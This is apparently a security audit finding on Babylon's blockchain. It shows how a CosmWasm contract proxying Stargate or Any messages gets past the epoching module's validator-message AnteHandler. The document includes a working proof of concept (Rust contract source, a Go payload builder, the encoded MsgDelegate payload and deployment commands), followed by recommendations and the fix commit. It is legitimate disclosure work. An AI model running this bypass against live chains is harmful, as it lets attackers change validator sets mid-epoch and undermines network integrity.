CosmWasm Stargate
/Any
messages bypass AnteHandler checks
Description
The epoching module's DropValidatorMsgDecorator
↗ is intended to disallow unwrapped versions of the staking module's message from being sent in order to maintain its invariants by disallowing those messages from appearing either directly or nested inside an authz.MsgExec
in a transaction. However, a wasmd.MsgExecuteContract
message can dispatch one of these messages as a submessage, bypassing this handler, breaking the epoching module's invariants by allowing changes to the validator set in the middle of an epoch.
Reproduction steps
The following CosmWasm contract allows proxying arbitrary Base64-encoded Cosmos messages through it using either the Stargate
or Any
message types:
use cosmwasm_schema::cw_serde;
#[cfg(not(feature = "library"))]
use cosmwasm_std::entry_point;
use cosmwasm_std::{AnyMsg, Binary, CosmosMsg, DepsMut, Env, MessageInfo, Response, StdError};
#[cfg_attr(not(feature = "library"), entry_point)]
pub fn instantiate(
_deps: DepsMut,
_env: Env,
_info: MessageInfo,
_msg: InstantiateMsg,
) -> Result<Response, StdError> {
Ok(Response::default())
}
#[cfg_attr(not(feature = "library"), entry_point)]
pub fn execute(
_deps: DepsMut,
_env: Env,
_info: MessageInfo,
msg: ExecuteMsg,
) -> Result<Response, StdError> {
match msg {
ExecuteMsg::Stargate { type_url, value } => {
let msg: CosmosMsg = CosmosMsg::Stargate {
type_url,
value: Binary::from_base64(&value)?,
};
Ok(Response::new().add_message(msg))
}
ExecuteMsg::Any { type_url, value } => {
let msg: CosmosMsg = CosmosMsg::Any(AnyMsg {
type_url,
value: Binary::from_base64(&value)?,
});
Ok(Response::new().add_message(msg))
}
}
}
#[cw_serde]
pub struct InstantiateMsg {}
#[cw_serde]
pub enum ExecuteMsg {
Stargate { type_url: String, value: String },
Any { type_url: String, value: String },
}
In the testing cluster created by make start-deployment-btc-staking-integration-bitcoind
from babylon-integration-deployment↗, a testing account can be created with babylond keys add test --recover
with the seed phrase from /babylondhome/key_seed.json; the resulting address is in the environment variable TEST_ADDRESS
in the below scripts.
The above contract is deployed to the cluster, and its address is stored as well as the address of a validator to delegate to:
babylond tx wasm store /cw_stargate.wasm -y --from $TEST_ADDRESS --chain-id chain-test --gas 1500000 --fees 3000ubbn
babylond tx wasm instantiate 1 '{}' -y --from $TEST_ADDRESS --chain-id chain-test --admin $TEST_ADDRESS --label foo --fees 400ubbn
CONTRACT_ADDR=$(babylond q wasm list-contract-by-code 1 -o json | jq -r '.contracts[0]')
VAL_ADDR=$(jq -r '.app_state.checkpointing.genesis_keys[0].validator_address' < /babylondhome/config/genesis.json)
A payload containing a MsgDelegate
message, which DropValidatorMsgDecorator
should prevent, can be constructed with the following unit test, with the above CONTRACT_ADDR
and VAL_ADDR
addresses inserted as DelegatorAddress
and ValidatorAddress
:
package app
import (
"fmt"
"testing"
"encoding/base64"
"google.golang.org/protobuf/proto"
stakingtypes "cosmossdk.io/api/cosmos/staking/v1beta1"
v1beta12 "cosmossdk.io/api/cosmos/base/v1beta1"
)
func TestManualMsgDelegate(t *testing.T) {
msg := stakingtypes.MsgDelegate {
DelegatorAddress: "bbn14hj2tavq8fpesdwxxcu44rty3hh90vhujrvcmstl4zr3txmfvw9sw76fy2",
ValidatorAddress: "bbnvaloper1u974vg80r99gjglm2ql62zz302g6p4smvyqatz",
Amount: &v1beta12.Coin{ Denom:"ubbn", Amount:"1" },
}
marshalOption := proto.MarshalOptions{
Deterministic: true,
}
txBytes, _ := marshalOption.Marshal(&msg)
s := base64.StdEncoding.EncodeToString(txBytes)
fmt.Printf("%v\n", s)
}
This results in the following payload:
% go test -run TestManualMsgDelegate
Cj5iYm4xNGhqMnRhdnE4ZnBlc2R3eHhjdTQ0cnR5M2hoOTB2aHVqcnZjbXN0bDR6cjN0eG1mdn
c5c3c3NmZ5MhIxYmJudmFsb3BlcjF1OTc0dmc4MHI5OWdqZ2xtMnFsNjJ6ejMwMmc2cDRzbXZ5
cWF0ehoJCgR1YmJuEgEx
PASS
ok github.com/babylonlabs-io/babylon/app 0.799s
Executing the contract with the above payload results in a delegate
event being emitted, visible when querying the resulting transaction.
babylond tx wasm execute $CONTRACT_ADDR '{"stargate": {"type_url": "/cosmos.staking.v1beta1.MsgDelegate", "value": "'"${PAYLOAD}"'"}}' -y --from $TEST_ADDRESS --chain-id chain-test --fees 600ubbn --amount 1ubbn --gas 300000
babylond q tx $TXHASH
Impact
Bypassing the DropValidatorMsgDecorator
AnteHandler allows the validator set to be modified outside of epoch boundaries.
Recommendations
Disallow validator messages from being encoded by CosmWasm by providing either a WithMessageHandlerDecorator
↗ option that disallows validator messages or a WithMessageEncoders
↗ option that disables Any
messages entirely.
Additionally, filter validator messages with a CircuitBreaker
↗ that rejects validator messages unless a flag is set in the context, and set and clear that flag in the epoching module's EndBlocker
before and after processing queued messages.
Remediation
This issue has been acknowledged by Babylon Labs, and a fix was implemented in commit 822d0e6c↗.
A different approach is taken in this commit: The RegisterServicesWithoutStaking
function temporarily removes the staking module from app.ModuleManager.Modules
to prevent it from being registered with app.MsgServiceRouter
. The TestStakingRouterDisabled
test tests that the staking module's messages cannot be looked up through app.MsgServiceRouter
.